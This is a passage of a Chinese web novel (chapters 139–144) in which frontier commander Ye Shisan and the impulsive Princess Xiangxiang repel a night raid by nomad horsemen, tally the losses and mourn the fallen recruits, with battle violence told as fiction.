一股滚烫又腥气的马血,直接就喷了香香郡主一脸。
霎时间,香香郡主原本在月光下一张粉白的脸,顿时就被腥热的马血,连着脑袋上的头盔,直接喷成了个血葫芦。
“呀!”
**的战马,连一声惨叫都没发出,香香郡主却闭着眼睛,在雪地上大叫着蹦跳不已。
“我的眼睛……”
倒握着剑柄的香香郡主,两只手在脸上一阵乱摸。
“别动!”
叶十三跳下马来,从地上抓起一把雪,就往香香郡主的脸上蹭。
“把眼睛闭好了,一会就没事了。”
叶十三说着,手中大把的雪,就轮换着给香香郡主擦脸。
被马血染成了红色的雪,被一把一把扔在地上。
地上白得耀眼的雪,又被叶十三一把一把,涂在香香郡主的脸上。
差不多用掉了十几把雪后,香香郡主脸上粘稠的马雪,这才被彻底擦拭干净。
“睁开眼睛看看?”
随着叶十三一句温和的话,香香郡主缓缓睁开了眼睛。
“马**没有?”
睁开眼睛的香香郡主,第一句话,就是问**的战马被她杀**没有?
“自个不会看啊!你没长眼睛?”
叶十三的语气,又冷了下来。
地上的战马,已经歪着脖子没了气息,脖脉处被剑刺过的血洞,还在汩汩地向外流着殷红的血。
香香郡主把剑插在地上,两只手抓住一条僵硬的马腿,企图把已经没有了生命征兆的马身给翻过去。
“混蛋,搭把手,我搬不动。”
看到叶十三站在旁边无动于衷,香香郡主霎时又火冒三丈,怒道:“不把马推开,叫我如何砍下**的脑袋?”
草!
这傻大妞,真她娘的一根筋?
难道非要砍了**的脑袋,向老子要赏银不成?
第139章 傻白甜
“走吧!”
叶十三摆摆手,摇头道:“砍不砍脑袋都一样,已经**,还是赶路要紧。”
“不!”
香香郡主柳眉一竖,倔强道:“这是本郡主第一次战场杀敌,再说,你可答应过的,砍下**的脑袋有赏。”
“你缺那几两银子的赏钱?”
叶十三一阵头大,冷声就是一句。
“这不是钱不钱的问题!”
香香郡主犯起拧来,怒目又道:“这是荣誉,是一个战士最看重的荣誉。”
荣誉?
这话,要是让李狗子,刘二娃他们说出来,叶十三都觉得豪情万丈。
可眼前这个傻白甜,却提到了“荣誉”二字。
“行了!”
叶十三眉头一皱,不耐烦道:“一个伤兵而已,就是砍了头,那也有我的一份功劳。”
这话没错!
要不是叶十三砍掉了**的一只手,他还会逃跑吗?
要不是手被砍掉,仅凭香香郡主,能有这机会**家脑袋?
“混蛋!”
香香郡主丢开了马腿,指着叶十三的鼻子骂道:“原来你心胸如此狭窄,怕本郡主和你分赏银?”
拜托啊故奶奶!
哪有自个找自个要赏钱的?
这个道理,就你这胸大无脑的傻白甜才捋不顺。
“好好……”
叶十三无奈地摆摆手,上前一步,伸出一只脚蹬在朝天竖起的一根马后腿上,然后用力一蹬,直接将死去的战马蹬得翻了个身。
此时,被压在马身下的**,早已经没了气息。
就那颗脑袋,也被马拖着跑了如此远的距离,已经被磨蹭得面目全非。
就这样的一颗脑袋,香香郡主也不嫌弃。
和杀马时一样,双手握着剑柄,照准**尸体的脖子位置,把眼睛一闭就砍了下去……
还好,也许是之前被砍掉了一只手流干了血的缘故,**的脖子的断口处,并没有血喷溅香香郡主一头一脸。
“哈哈……”
香香郡主心有余悸地望着雪地上的那颗脑袋,得意地望向叶十三,歪着脑袋道:“脑袋砍下了,不过这赏银,也算你一份,给银子?”
说着,香香郡主一伸手,就向叶十三要赏银。
叶十三嘴角一拧,差点就没晕过去。
讨了个没趣的香香郡主,这时候才幡然醒悟,羞怒上头的从地上抓起一把雪,狠狠地砸在叶十三的脸上。
“混蛋,居然敢捉弄本郡主?”
“郡主息怒!”
叶十三慌忙躲闪,急道:“你不妨想想,就朝廷的嘉奖令,由军部颁发下来,一个白身的赏银也不足五两银子,能不能兑现还是个问题,也只有本千户,另行嘉奖杀敌的兵士们了。”
说完,诡异的一瞥气急败坏的香香郡主一眼,又道:“眼下黄羊岘防区,你我皆是将领,得由我们给下面兵士们颁发赏银啊!”
“这我不管!”
香香郡主美眸一翻,冷声又道:“你亲口答应了的,就得给银子,不然……”
“不然如何?”
“不然,当初借你的那几个银子,我就不还你了。”
香香郡主说完,得意地扭过头去。
草!
谁说这妞傻呀?
原来是如此谋算老子!
给军户胡八月的那些赏银,还有给何秀儿的,都是她卖人情落了个好名声,银子却是老子的口袋中掏的。
“赖账可不行!”
叶十三眉头一皱,一脸怒容看向香香郡主。
“不行又如何?”
香香郡主转过头来,拉着自己的马缰绳,在跨上马背的瞬间又道:“难道你还敢揍本郡主不成?”
“你……”
“你什么你?”
“无赖!”
“本郡主还就无赖你了,看你能如何?”
“好男不跟女斗。”
叶十三撂下一句,转身就去骑自己的马。
“岘口方向!”
等上了马背,叶十三冷声一句,然后双腿一夹马肚,胯下的战马立刻就飞奔起来。
不大时候,岘口的方向,有火把在晃动。
此时的月色,已经黯淡下来。
天,快亮了。
借着微弱的月光,叶十三看到前段时间修复的工事,已经被毁坏不少。
壕沟里零零散散的倒着几匹肠子都流了出来的**战马。
一些拦马刺,已经被拉翻后扔得到处都是。
别断了腿的战马,爬在地上努力地昂着头,不断地挣扎着要站起来。
“快看,是千户大人!”
有人发现了叶十三,举着火把就叫喊起来。
是徐老六的田兵们。
田兵们纷纷迎了上来,有的田兵已经挂了彩。
“敌情如何?”
一打照面,
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叶十三马都没下,吼着就是一句。
“禀千户大人!”
徐老六手下的一名甲正,马前单腿一跪,抱拳道:“掉入壕沟的**,被小的们射杀九人,剩余的大致六七十数,被徐佥事所带的弟兄们冲散逃向野驴滩方向。”
六七十人数?
加上他弄死的十人,眼前这些田兵所射杀的,看来总数上百?
“村里可否安宁?”
话一出口,叶十三顿觉问的弱智极了。
屯田村有袁彪带领的一千北防军常备兵马驻守,应该是这些**遇到袁彪的狙击,这才取道野驴滩方向。
不然,要是**进了屯田村,如果袭击烽火台的话,必走沙窝地这条线。
“这拨**,应该是牧民。”
叶十思忖片刻,道破了**的确切身份。
“小的也觉得是!”
甲正略思一阵,道:“由于情况紧急,小的们看到烽火时,**已经冲了过来到了壕沟。”
“不过!”
甲正指着已经被破坏掉的一部分拦马刺,又道:“应该是大人上次截杀的那伙人,有人对我们的防御工事有防备,进入岘口后,从两侧挺进,而没有直线冲杀。”
“嗯!”
叶十三点点头,认可道:“没错,他们中间,应该有上次逃回去的人,不然不会如此小心。”
这时候,有田兵注意到了叶十三身后的香香郡主。
“郡主,您受伤了?”
田兵们惊讶地看到,香香郡主的头盔和身上的战甲,已经被染成了个血人,只有一张俏脸是粉白如初。
也多亏叶十三了,不然香香郡主要是一脸马血,还不把这些田兵们给吓死。
“本郡主只是被溅了一身**的血,岂是那么容易就受伤的?”
香香郡主把身子一挺,策马近前几步。
映着火把的光晕,田兵们这才仔细看到,香香郡主确实不像受伤的样子。
再说,有叶十三陪着,她受伤的几率很小。
“郡主威武!”
田兵们里面,也不乏拍马溜须之人,一阵恭维声就接连不断。
“大人……”
叶十三刚要给这个狂妄骄横的傻大妞泼一盆冷水,突然看到吴六子骑马冲了过来。
“大人,情况不好!”
情况不好?
难道他们判断有误,**还有大部队进入?
第140章 都给本郡主闪开
“慢慢说?”
叶十三心头一凛。
吴六子带着三人跳下马来,急道:“徐佥事有险,快快增援。”
另一名探马道:“大股**被袁将军拦截后,折北而去,沿屯田村外围,擦野驴滩边界逃窜。”
没错,他们只有进入无人区。
叶十三给袁彪划的防务范围,就是防止敌人进入屯田村。
如果正面进入,那么,野驴滩村的村民居住地,还有后方芦河湾,就会被**屠村洗劫。
所以,叶十三把**从岘口入侵的正面硬战,部署给了袁彪。
“大人,仅徐佥事带的那些兵马,怕是难敌**残部?”
吴六子紧张地望向叶十三。
“有道理!”
叶十三大手一挥,吼道:“岘口防守兵马原地不动,吴六子随我出击打围。”
“大人三思,要么带上小的们?”
甲正面上陡然色变,急道:“眼下岘口这边暂且无虞,大人仅带他四人,而且还有郡主在,万不可涉险啊!”
“行了!”
叶十三转头又道:“一帮放牧牛羊的**,本千户还真没把他们当成一盘菜。”
说完,叶十三率先催马,一路向野驴滩地界荒漠地带的方向狂奔而去。
**选择这条路线逃窜,也是有一定的道理。
荒漠地带较为平坦,夜间行军,尤其是马战,万不可被陷入崎岖地带挨打。
一行六骑,战马嘶鸣,扬起一片雪渣,瞬间就奔出近十里地。
就在这时候,前面横着出现了一队兵马。
待走近了一看,原来是苏哲带着的五十名卫兵。
“大人,您也到了?”
是李狗子,带着两名探马,从苏哲的卫兵队伍中冲了出来。
“大人,**被苏校尉迎头一击,反向逃窜,反而把后面追赶的徐佥事的兵马,给堵到一处死角。”
李狗子一口气禀报完战情,焦急地等待叶十的命令。
“杀过去!”
叶十三拔出残刀,高高举起一吼,率先策马冲在最前面。
原来,**们被袁彪狙击后,情知不妙急于逃窜,这又遇上苏哲的一场狙击。
虽然苏哲兵马不多,但**无心恋战,只有掉头又跑。
这一跑,还不敢顺来路跑,斜着向元蒙方向迂回,却把后面追击的徐老六,给堵到一处死角地带。
徐老六带着的,那可是叶十从田河镇带来的两百新丁啊!
虽然这些新丁有一百五十人被布防在另一处区域,守着通向兔窝堡的区域。
如此一来,剩下的五十人,那可就危险了。
加上部分田兵,总共还不足百人。
这要是和数量差不多的**遭遇,后果可想而知。
**再是牧民,但战斗力丝毫不差,凶残程度一点也不逊色**骑兵。
本身,**骑兵里面,就有为数不少的牧民,元蒙人闲时放牧,战时出征,可以说是全民皆兵。
唯一不同的是,等级制度下的装备差别而已。
白身就是最低等的部族,立过战功后的**,才有资格穿甲。
“郡主,您受伤了?”
当靠近一些后,苏哲看到香香郡主一身的血,被吓得差点从马背上掉下来。
“想伤本郡主的人,怕是还没从娘胎生出来!”
香香郡主一脸傲气,自豪地举了举手中的剑。
扫了一眼自己的卫兵们,香香郡主吼道:“都听清了,杀死**,千户大人有赏。”
赏你娘个蛋!
叶十三差点被惊得掉下马来。
这蠢货,在这节骨眼上摆了他一道。
就是英勇杀敌,那也是该向朝廷要嘉奖才合适。
而且,这蠢货还是代表着朝廷,才来边城监军。
看到叶十三一脸的无奈,香香郡主又是一阵得意,手中的剑一挥,吼道:“跟着千户大人杀过去,但凡杀死**白身一人者,千户大人赏银十两。”
草!
这又涨价了?
要不是有众兵将在旁,叶十三真有把这个傻白甜,给摁在雪地上摩擦一回的冲动。
“冲啊!”
苏哲一挥手中刀柄镶满宝石的佩刀,紧跟着就冲了上去。
五十个卫兵,此时还真给香香郡主长脸,高举着佩刀就策马狂奔。
不大一会,月光更加黯淡下来,前面却出现了不少的火把。
“大人,快看那边!”
顺着吴六子所指,叶十三看到一片火把围成了个半圈。
不用说,那是**。
一道黑黝黝的山崖,就像卧着的怪兽。
也正是这道山崖,堵**徐老六的退路。
那可是为数不多的一些田兵和新丁啊!
**!
叶十三目视前方半里处,吼道:“杀,郡主的承诺,在本千户这里还是算数的。”
“杀……”
“冲上去……”
“宰了那帮**……”
卫兵们嗷嗷的叫声,和胯下战马
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的嘶鸣交织在一起。
身先士卒的叶十三,手中的残刀划出一条银弧,随即就有两名**的脑袋,被砍得离开了脖子。
由于月光黯淡下来,吴六子干脆弃马步战,专找亮起火把的**堆中钻去。
“弟兄们,步战!”
李狗子也是一声暴吼,飞身下马挥刀就冲了进去。
这些探马,还真学到了郑一刀的步战精髓。
跟着吴六子冲上去的六名探马,完全是一副趟子手的架势,瞬间就有**的战马,被砍断了马腿倒地不起。
这突来的袭击,令**的马队阵型霎时就慌乱了起来。
被砍断马腿的战马倒下后,又把来不及跳马的**压在身下。
这一来,被马身压着的**,眼睁睁看着自己的脑袋被探马们砍下。
“都给本郡主杀!”
香香郡主此刻神情大震,一时间又忘了惧怕。
“郡主,让末将上去!”
害怕香香郡主出事的苏哲,只好冲在前面,把香香郡主拦在自己的身后。
“弟兄们,放狠了杀!”
苏哲瞬间面目狰狞,挥刀就把近前的一个**砍于马下。
“叮叮叮……”
兵器撞击的声音,霎时就密集了起来。
“嗤……嗤……嗤……”
不断有燃着的火把,掉落在雪地上熄灭。
能见度也是越来越低。
眼下的厮杀,只是白身与革甲之间的拼命。
谁也看不清对方的脸,只有凭着革甲和皮袍的大致区别,来区分敌我。
“保护郡主!”
突然,冲入**堆里的叶十三,怒吼着又道:“苏校尉,退回去保护郡主,老子照样给你记大功一件,要是郡主少了一根汗**,老子要你的命!”
能见度越来越差,叶十三只有出此下策。
如果苏哲退后,有卫兵们把香香郡主挡在后面,那么他就可以见人就杀了。
而且,还不用担心误伤自己人。
“末将遵命!”
苏哲巴不得叶十三这样做,在他眼里,香香郡主的安全,才是他的首要责任。
至于叶十三的兵马死伤多少,他还真不想操这个心。
“混蛋,你们不上去杀敌,围着本郡主干什么?”
香香郡主还没过一把**的瘾,就被退后的卫兵们挡在后面。
“混蛋,都给本郡主闪开!”
香香郡主就是喊破嗓子,自己的卫兵们,此时都装作没听见。
第141章 郡主,有狼
“叶十三,你这混蛋!”
眼看无法冲出自己卫兵的人墙,香香郡主破口大骂。
“本郡主警告你,再不下令让他们上去,本郡主就地革了你的千户军职!”
这下,苏哲慌了。
“杀……”
苏哲勒马站着没动,喊杀声却高得震耳欲聋。
卫兵们即刻明白了苏哲的意图,顿时放开了喉咙喊杀声不断。
“杀,杀……”
一浪高过一浪的喊杀声,硬生生的就把香香郡主的话,直接给淹没了。
“吃里扒外的东西,看本郡主回去如何收拾你们!”
被气得干瞪眼的香香郡主,岂能不明白卫兵们的心思?
能见度越来越低,月亮已经隐身不见,四周黑得就想一堵墙一样瓷实。
痛苦的呻吟声,瘆人的惨叫声,沉闷的倒地声,全都被夜的黑吞噬得越来越弱。
一股冷风吹过,浓烈的血腥味令人作呕。
尤其是马血,熏得卫兵们情不自禁地一步步后退。
每个人着地上的积雪,最多也只能模糊看到一马之外的地方。
大家心里清楚,天色已经快亮了。
只有黎明前的夜,才是最黑的一段。
“郡主,叶千户好像也没了声响?”
被身边的一名卫兵提醒,香香郡主霎时就慌乱起来。
“想办法,让火把燃起来,务必找到叶千户。”
尽管香香郡主急得大喊大叫,但**们掉落在雪地中的火把,那可是无法再点燃了。
**火把,可不是松明。
缠在木棍上的羊毛,是被羊油浸泡过的,一旦掉入雪地沾了水,那也无法再继续使用了。
等候,只有耐心等候了。
“嘟噜噜……”
话是没人说了,但焦躁不安的战马,一匹接一匹地打起了响鼻。
这混蛋,绝不能出事。
他要是**……
香香郡主的心情,渐渐沮丧到了极点,内心也恐惧到了极点。
“叶,十,三……”
终于绷不住了,香香郡主几乎带着哭腔的声音,拉得长长地喊叫一声。
黑暗中只有从崖畔吹来的风,卷起地上的雪粒,打得每个人的脸上一片生疼。
如此境地,每个人都不敢轻举妄动。
这种时候,贸然行事,那是最容易误伤到自己人了。
至于战况如何?
谁都不清楚。
突然,几声猫头鹰令人毛骨悚然的叫声传来。
“喳喳喳……”
紧接着,又是几声喜鹊欢快的叫声。
“嗷……”
不远处,狼也嚎了起来。
这一声狼嚎,卫兵的战马顿时就不安起来,四只蹄子开始在雪地上蹬踏个不停。
“郡主,有狼!”
一名卫兵开始恐慌起来。
“奇怪,**猫头鹰是夜里活动的,但喜鹊如何也在夜间出现?”
另一名卫兵,更是一头雾水。
“是血腥味,引来了狼?”
“说不定还是狼群?”
“没错,方才刮风,血腥味一定飘了很远,这才把狼群给引来了。”
黑暗中卫兵们的说话声,引起了苏哲的无比恐惧。
“都莫要慌乱,保护郡主,尽量把马首向外,马尾向内,把郡主护在中间。”
“苏大人,视线不清,依小的看,还是莫要轻举妄动的好。”
“没错啊!要是战马受惊,那可不好收拾了,四处又黑得无法识物。”
“大人放心,郡主就在小的身边。”
就在卫兵们的嚷嚷声中,香香郡主突然咧着嘴笑了。
大半夜的,喜鹊叫什么叫?
哪来的喜鹊啊!
这绝对是吴六子?
叶十三曾经亲口对她说过,吴六子精通各种动物的叫声。
营救她的那天夜里,就是吴六子扮的狼嚎和野兔叫声,这才把**给引开的。
不过,香香郡主在马背上笑得花枝乱颤,却没有出一点声音。
一旁的卫兵察觉有异,只当是香香郡主,此时被吓得浑身发抖而已。
如此一来,这名卫兵也不由得抖了起来。
情绪是会传染的。
一名卫兵的发抖,逐渐被身边的其他卫兵察觉,不一会,所有的卫兵,都恐惧得浑身抖个不停。
苏哲再是笃定,也不免心虚起来。
荒原上的狼群,对于戍边的北防军来说,那无异于是小菜一碟。
但对他们这些才内地京都来的人,那可是前所
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未有的害怕。
白天还好,手中有弓箭和刀。
但这伸手不见五指的黑夜,那可是狼的天下。
不能胆怯,要是自己胆怯了,这帮人说不定会混乱起来。
一旦混乱造成香香郡主受到半点伤害,那他的这颗脑袋,也就成别人拿去领赏的筹码了。
一阵漫长的煎熬下,天色从漆黑慢慢变得灰白。
不一刻,已经亮得能视物于百步外。
“郡主!”
苏哲望向视线所及之处,遍地都是横七竖八的尸体的时候,转头向后沉声道:“末将派几名弟兄,向那边搜寻一下可好?”
“好!”
香香郡主摆摆手,四下一望,又道:“注意安全,向前挺近半里路。”
呼啦啦一下,围在香香郡主身边的卫兵们,纷纷勒马散开,然后举着佩刀小心翼翼地向前查探过去。
映入他们眼帘的,是被染得一片殷红的雪地。
残肢断臂随处可见,没有死透的战马,还躺在雪地上蹬着蹄子。
眼前四周,除了尸体,还是尸体,压根不见一个活口和叶十三们的影子。
“扩大搜寻范围!”
跟在后面的香香郡主发话了。
“遵命!”
苏哲抬头望了望东边的天际,手中的佩刀左右一挥,五十名卫兵,立刻分成两队,向左右不同的方向开始搜寻。
雪地上的尸体,越来越多。
从穿着上看,有**,也有田兵和新丁。
**的尸体都是白身,田兵的革甲破旧不堪,革甲一片崭新的,那绝对是叶十三从西河镇征来的新丁。
“苏哲听令!”
心里一阵颤抖的香香郡主,悲声又道:“登记战损吧!”
此言一出,大家心里都清楚。
除了**的尸体可以被列为战绩,其余的尸体,都是战损无疑。
卫兵们的心情,一下子就沉重起来。
方才抢着要砍**脑袋领赏银的劲头,一下子就被眼前的惨状冲击得荡然无存。
就在这时候,天色又亮了许多,已经能看到半里地的区域。
“郡主,快看那边?”
顺着突然叫喊起来的声音所指,香香郡主看到一群人向这边走来。
第142章 败仗
是李狗子?
香香郡主这下看清了,走在最前面的,的确是李狗子。
身材魁梧的李狗子,身上还背着一个人。
不会是他吧?
香香郡主的心突然一沉,拽着马缰的两只手,也不由得颤抖起来。
苏哲也认出了来者,催马就迎了上去。
“郡主,他们是叶千户和徐佥事的兵马。”
身边的卫兵,也看清了来人的打扮。
那群人有的步行,有的骑马,有的抬着同伴,有的相互搀扶着。
不一刻,徐老六的人,陆续到了香香郡主面前。
香香郡主这才看清,李狗子背着的,正是气息奄奄的徐老六。
徐老六浑身是血,脑袋耷拉在一旁,已经说不出话来。
“徐佥事,他不行了!”
垂头丧气的李狗子,站在香香郡主的马前,低声就是一句。
“哪!叶千户呢?”
“大人他,和吴甲正去勘察地形了。”
此言一出,香香郡主这才心里的一颗石头落了地。
“好吧!”
香香郡主黯然神伤片刻,抬起头来环视四周,提高了声调道:“速速打扫战场,除了**,其余死伤兵卒,一概带回屯田村。”
她心里清楚,此时叶十三不在,她这个监军,就是这支综合兵马的最高将领。
一股责任心油然而生。
直到晌午时分,香香郡主率部才返回屯田村。
签房大院,地上摆着四十三具尸体。
另有二十一名伤兵,被包扎后安置起来养伤。
望着众将领肃然的神色,香香郡主跨入签房,在条案后面坐了下来。
“苏校尉,报战绩!”
苏哲面颊一抽,跨步上前,单膝跪地后,拱手道:“启禀郡主,加上岘口守军战况,共歼敌七十二兵数,无战俘数。”
有战俘才怪!
叶十三的作风,一贯是斩尽杀绝,要是抓了俘虏,那还得给这些俘虏管饭。
如此一算,岘口守军射杀九人,叶十三在沙梁上杀死九人,她这个监******的一匹战马,一名逃跑的**被倒下的战马压死,这也算是她的手里也有了歼敌数量的战绩。
加上徐老六和叶十三们,还有苏哲和卫兵们,杀死的这六十三个**,这次进犯黄羊岘防区的**,准确的总人数是九十二人。
接下来,就是研判战情。
虽然叶十三此时不在,但研判战情却刻不容缓。
不然,战情不明,防务就是抓瞎。
最起码要知道,这次入侵黄羊岘的**,具体是何身份?
他们的行动,到底是何目的?
这一点,再是纸上谈兵,那也是用对了地方。
当众将领得知叶十三一人,在沙梁已经杀掉了九个**时,不由得一阵面面相觑。
关于叶十三之前的战绩,袁彪这些人未必真信。
这一役,众将领心里明白,这个叶十三,能从一个底层的烽燧兵,直接被晋升到千户职,那是真有骇人的本事。
他们原以为,叶十三只是军部大人们物色的一个傀儡,那些晋升的军功,只不过是一个被杜撰夸大的借口而已。
香香郡主稳了稳神,美眸一翻,瞥了一眼签房中左右站着的将领们。
“各位说说,这九十二个**,到底是何等身份?”
话音一落,就有一个百夫长站了出来。
“回郡主话,眼下战事一触即发,这些人,不外乎就地元蒙骑兵派出的探马。”
“你呢?”
香香郡主把目光,又投向一名百夫长。
百夫长拱手一礼,道:“依末将看,这些**,还不是探马。”
“怎讲?”
“回郡主话,要是探马,大可不必有如此多的人数,用不了十人就足矣。”
“有道理,要是探马,第一人数夸张,再说他们身无战甲,不像是探马标配。”
前面发话的百夫长,不服气地拱手一礼,争辩道:“既然是探马,更有伪装一说,身穿常服,那也再正常不过了。”
此言一出,后面发话的百夫长,顿时就说不出话来,悻悻地退了回去。
这些话,还真极其平常,没多少真知灼见。
香香郡主又把视线,转移到袁彪脸上,道:“袁将军,你是如何看待?”
这一问,袁彪一怔。
这个问题,本就极其平常简单,作为一个监军,也是给自己的身份来个加持,装一番大尾巴狼而已。
袁彪傲然抬头,拱手道:“依末将看,这些人,原本就是牧民。”
“说说看!”
香香郡主眼前一亮,示意袁彪继续说下去。
“郡主想想,传闻千户大人,在不久前从岘口越境,夜袭了**的牧场,将**牧场的粮食和牛羊都抢了不少。”
“袁将军的意思,是**牧民采取的报复?”
香香郡主一句反问。
“差不多!”
袁彪点点
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头,又道:“其实,他们不完全是为了报复,而是被逼。”
“被逼?”
“是。”
“何人所逼?”
“他们自己。”
“此话如何讲?”
“郡主想想,千户大人抢了他们如此多的东西,他们的生活更是难上加难,如今大夏于元蒙邦交紧张,元蒙军方肯定会向各牧场征收粮食和牛羊,如此一来,他们的日子,怕是到了断炊的地步。”
“明白了,袁将军是说,这些**如果不抢黄羊岘防区物资,他们自己都无法继续下去?”
“应该是这样。”
“那就好了,起码元蒙军部还不知晓这些,不会即刻出兵增援。”
“不过!”
香香郡主又道:“防务还是不可掉以轻心,元蒙向我大夏出兵的借口很多,不能在一件事上防务有疏。”
“末将明白。”
“好,那就先这样了,即刻造饭,至于战损的事,还得等叶千户回来落印认可。”
过足了统帅瘾的香香郡主,这时候才觉得肚里已经是饥肠辘辘了。
不如先回营房,这里防务的事,自有袁彪主持。
被喷一身马血,身上的味道,实在是连自己都忍受不了,还是先去沙窝地看看,起码有何秀儿的小灶吃饭。
就是把一身的马血清洁一番,那也要比这里方便多了。
就在香香郡主离开后,屯田村的军户们,纷纷涌向签房大院,哭声也就响了起来。
徐才的一只独眼,也哭得通红,非要跟着郑一刀练刀给他叔报仇。
胡八月端着一盆热水,给死去的兵士们一一擦脸。
“小子们,安心去吧!”
当给那些新丁擦拭的时候,再是饱经风霜的胡八月,也不禁老泪纵横。
这些后生,年纪大都在十五六岁。
作战经验和能力,还远敌不过那些凶残的**。
“娃儿们啊!下一世投个好胎,别再来这边城之地受苦遭罪了……”
胡八月一边给新丁们擦拭着早已干涸了的血痂,一边把他们怒睁着的双眼给合上。
有妇人们拿来枯草,在练兵校场上烧。
在缺少纸钱的地方,只有这样来祭奠英魂。
苏哲带着的卫兵们,也纷纷低下头来,用默哀的方式,对这些和**拼杀了半夜的新丁致敬。
突然,苏哲抬起头来,安排身边卫兵道:“你两人去躺镇上,找衙门周大人要些酒和草纸回来。”
第143章 现眼包
去镇上?
找镇衙门要东西?
苏哲心里也没底,他只是一时愤慨,看到屯田村已经穷成这样了。
没有纸钱烧的军户们,拿枯草点燃了祭奠亡灵。
同是军伍的苏哲,心头也是难受不已。
“算了!”
话一出口,又觉不妥。
摆摆手后,苏哲从怀里摸出一锭十两的银子,道:“还是拿钱去买,能买多少,就算多少。”
看到两名卫兵出发,苏哲又把视线投在其余一名卫兵脸上:“你去一趟沙窝地,将此事禀明郡主得知。”
他明白,凡事涉及边军的,无论巨细,都不可自己做主,得由香香郡主定夺。
越庖代俎,权力之大忌。
此时的沙窝地,茅草屋中。
只见香香郡主一身边民棉袄,虽略显宽大,却被她扎紧了腰带,这样装扮并不失违和感。
白色毛毡靴子,腿上一条灰色棉裤。
卸下了头盔,头上扎了发髻戴了巾帻。
这一打扮,看成一个俊俏的村姑再贴切不过。
何秀儿苦笑道:“郡主金枝玉叶,民妇刚做的这身衣服,真是扼杀了郡主的英姿。”
来的时候,何秀儿顺便把没做完的针线活带了,没曾想到,这还真派上了用场。
“你就说,好不好看?”
香香郡主夸张地扭着身子,就像村里那些小媳妇大姑娘一样。
就是不好看,何秀儿也不敢照实说。
“郡主不但脸盘好,这身段,也是**挑一的。”
何秀儿这话,还不算夸张。
香香郡主的脸盘,那可是美艳动人,身段也当然好了,一个没出阁的女儿家,身段总不能比已婚妇女差吧!
“昨晚溅我一身马血,可真恶心死我了。”
香香郡主低头打量着自己,一边不停地说着昨晚战斗的经过。
“遗憾!”
叹口气又道:“徐佥事殉国了。”
“他,**?”
何秀儿陡然一惊,急道:“田兵伤亡很大吗?”
“有些是田兵,但多数都新征来的那部分。”
“哦!”
何秀儿表情一片茫然,给香香郡主刷洗着战甲的手,不由得也停了下来。
她知道,那些从西河镇带来的新丁,最近由郑一刀训练。
这新丁都阵亡了,郑一刀?
那些新丁,大都十六七岁,甚至还有十四五的几个,他们还都是些半大小子啊!
何秀儿心头一阵难过,拿手背擦了擦眼角,继续低下头来刷洗香香郡主的战甲。
到了傍晚时分,去镇上的卫兵回来。
两人的马背上,驮了不少的烧纸。
没曾想到,叶十三对此勃然大怒。
“防区的一切行动,都由本千户部署,私离防区,该军法从事。”
面对一脸盛怒的叶十三,从沙窝地回到营房的香香郡主,心中也不免一阵忐忑。
“苏哲他,也是为这些阵亡的兵卒着想。”
面对香香郡主的解释,叶十三怒道:“胡闹,为他们着想,那就第一时间上报军部,申请抚恤金给他们的家属,而不是采办几张烧纸了事。”
“你凶什么凶?”
香香郡主委屈得泪花打转,辩解道:“你身为主帅,本该由你来主持善后事宜,但那时候你还在外面勘察敌情未归……”
面对香香郡主的极力辩解,叶十三差点一鞭子就给抡过去。
但看到香香郡主还穿着那身臃肿的棉袍时,气得面颊一抽,晚饭都没吃就睡了。
……
二天大早,叶十三又去屯田村。
还没到沙窝地,香香郡主催马就追了上来。
“你都不喊我一声?”
埋怨叶十三一句,香香郡主策马奔到前面,先去何秀儿那里换衣服,昨晚战甲还在茅草屋里没干透。
“成事不足,败事有余。”
叶十三骂了一句,然后放慢了马速,边走边等。
“大人,您不下马去看看?”
吴六子犹豫一下,还是多嘴问了一句。
叶十三撇撇嘴,道:“耽误不得,屯田村不能一盘散沙,得选个主事的人出来。”
徐老六不但负责协防,还管理着屯田村的一应事务,这次战死,佥事的职务得有人尽快补上。
马成知道叶十三心里**糙,赶快换了个话题道:“各烽火台严阵以待,各项措施一应俱全,弟兄们都很上心。”
“那就好!”
叶十三点点头,道:“给丁威他们记上一功,黄羊岘烽火台烽燧兵五人,每人嘉奖十两银子。”
“小的记下了。”
马成应了一句,便再不敢多嘴。
吴六子又犹豫片刻,道:“落雁坡,鹞子岭两处驻军,去联络的弟兄们都已经回来了,防务一切如常。”
“嗯!”
叶十三点点头,道:“沿线防务,每一处都不敢大意。”
想了想,又道:“就昨晚,要不是徐老六警惕性高,**绕过防御工事,沿屯
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田村边缘进入兔窝堡一带,不知道又有多少村民被血洗?”
“大人,如此来看,要是元蒙大肆犯我边境,防区这些兵马,那可是远远不够啊?”
吴六子的这一番话,让叶十三又陷入了深思。
“如果元蒙向黄羊岘出兵,绝不是百十人来骚扰,而是大军铁骑长驱直入,仅凭我手下这一千多兵马防御,可真是杯水车薪啊!”
叶十三一阵发愁,这个不争的事实,再一次把他推到炮灰的位置上。
“大人,得晋升军职!”
吴六子一咬牙,心一横,硬着头发道破天机。
如果军职无法晋升,那么就只能领着眼下的这些兵马,如何与元蒙大军对垒?
**不深入进犯到一定的程度,仅仅是对边城村寨的**和骚扰,军部是不会大肆出动常备军的。
牵一发而动全身。
大部队一旦出动,粮草,辎重,一些列的开支就停不下来,花银子就像流水一样。
不光是边城军部,就是朝廷也是谨慎行事。
“**!”
叶十点忍不住怒骂一句。
眼下来的香香郡主,不但不是对边城兵力的增援,反而是一种遏制和监视作用。
朝廷一些人,即怕边城不稳,又怕北防军不受朝廷控制。
这才派出这么一个货出来任监军。
对于这个傻白甜,叶十三心中总有一种说不清的感觉。
她胸前佩戴的那半片白玉,竟然和自己的这半片,有着极度的相似。
难道,这玉佩,是出自同一巧匠之手?
香香这个名字?
在脑海中似曾相识,似乎和他有着一种特殊的关系。
管她是谁?
要是敢妨碍老子的事,照样削她。
“大人,郡主跟上来了。”
吴六子突然一句,打断了叶十三的思绪。
“跟上来就好,免得为此延误时间。”
叶十三双腿一夹马肚,胯下的战马就飞奔起来。
“嗨!等等。”
香香郡主刚赶了上来,就被叶十三甩下一大截来。
使劲抽打着战马的香香郡主,好不容易才和叶十三的马身平齐。
“给你,还热着的。”
香香郡主把一块烙饼,从马背上递向叶十三。
“趁热吃了,何秀儿刚烙好了的。”
现眼包!
饿死鬼投胎你?
都什么时候了,还惦记着吃。
叶十三目不斜视,催马就是一阵狂奔。
第144章 有些志向好不好?
这仗如何打?
叶十三心里一点数都没有。
小股**骚扰,他自己带人就可歼灭。
无论是马战,还是步战,凭着九幽刀法,斩他百十人的脑袋,那可是一点问题都没有。
关键是部队之间的正面交锋,那战线就不在局限于一处,而且阵仗,动辄就是成千上万兵马的厮杀。
个人单兵作战的优势,在那种大规模的战役中,根本微不足道。
